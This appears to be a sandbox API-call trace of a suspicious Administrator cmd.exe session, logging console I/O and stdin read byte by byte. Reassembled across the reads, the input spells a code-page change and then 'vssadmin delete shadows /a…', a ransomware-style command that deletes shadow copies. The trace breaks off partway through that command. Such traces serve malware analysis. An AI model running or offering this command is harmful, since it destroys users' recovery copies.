[0199.605] GetEnvironmentStringsW () returned 0x21ccf2a84c0* [0199.605] GetProcessHeap () returned 0x21ccf2a0000 [0199.605] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xacc) returned 0x21ccf2b9520 [0199.605] FreeEnvironmentStringsA (penv="=") returned 1 [0199.605] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0199.605] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0199.605] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xe6b974e8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xe6b974e8b8, ReturnLength=0x0) returned 0x0 [0199.605] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xf2c13c7000, lpBuffer=0xe6b974e8f0, nSize=0x7a0, lpNumberOfBytesRead=0xe6b974e8b0 | out: lpBuffer=0xe6b974e8f0*, lpNumberOfBytesRead=0xe6b974e8b0*=0x7a0) returned 1 [0199.606] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0210.808] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xe6b974f338 | out: lpExitCode=0xe6b974f338*=0x0) returned 1 [0210.808] CloseHandle (hObject=0x98) returned 1 [0210.809] _vsnwprintf (in: _Buffer=0xe6b974f508, _BufferCount=0x13, _Format="%08X", _ArgList=0xe6b974f348 | out: _Buffer="00000000") returned 8 [0210.809] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0210.809] GetProcessHeap () returned 0x21ccf2a0000 [0210.809] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b9520) returned 1 [0210.809] GetEnvironmentStringsW () returned 0x21ccf2b9520* [0210.809] GetProcessHeap () returned 0x21ccf2a0000 [0210.809] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xaf2) returned 0x21ccf2ba020 [0210.809] FreeEnvironmentStringsA (penv="=") returned 1 [0210.809] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0210.810] GetProcessHeap () returned 0x21ccf2a0000 [0210.810] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2ba020) returned 1 [0210.810] GetEnvironmentStringsW () returned 0x21ccf2b9520* [0210.810] GetProcessHeap () returned 0x21ccf2a0000 [0210.810] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xaf2) returned 0x21ccf2ba020 [0210.810] FreeEnvironmentStringsA (penv="=") returned 1 [0210.810] GetProcessHeap () returned 0x21ccf2a0000 [0210.810] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6e90) returned 1 [0210.810] DeleteProcThreadAttributeList (in: lpAttributeList=0xe6b974f4c0 | out: lpAttributeList=0xe6b974f4c0) [0210.810] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0210.849] ??_V@YAXPEAX@Z () returned 0x1 [0210.849] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.849] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0210.849] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.849] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6a755fc08 | out: lpMode=0x7ff6a755fc08) returned 0 [0210.849] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.849] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6a755fc0c | out: lpMode=0x7ff6a755fc0c) returned 0 [0210.849] GetConsoleOutputCP () returned 0x4e3 [0210.861] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0210.862] SetThreadUILanguage (LangId=0x0) returned 0x409 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6e00) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b9030) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6c30) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b8fd0) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a83e0) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fe0) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a1850) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6a80) returned 1 [0210.867] GetProcessHeap () returned 0x21ccf2a0000 [0210.867] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8320) returned 1 [0210.868] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe6b974f8e8 | out: _Buffer="\r\n") returned 2 [0210.868] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.868] GetFileType (hFile=0x234) returned 0x3 [0210.868] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.868] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0210.868] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe6b974f8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8b8*=0x2, lpOverlapped=0x0) returned 1 [0210.868] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0210.868] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0210.868] _vsnwprintf (in: _Buffer=0x21ccf470060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe6b974f8f8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0210.868] _vsnwprintf (in: _Buffer=0x21ccf47008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe6b974f8f8 | out: _Buffer=">") returned 1 [0210.868] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.868] GetFileType (hFile=0x234) returned 0x3 [0210.868] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.868] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0210.868] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe6b974f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8e8*=0x18, lpOverlapped=0x0) returned 1 [0210.868] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.868] GetFileType (hFile=0x228) returned 0x3 [0210.868] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.868] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.868] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.868] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0210.869] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.869] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.869] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.869] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0210.870] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.870] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.870] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.870] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.871] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.871] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.871] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0210.871] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.872] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.872] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.872] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0210.872] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 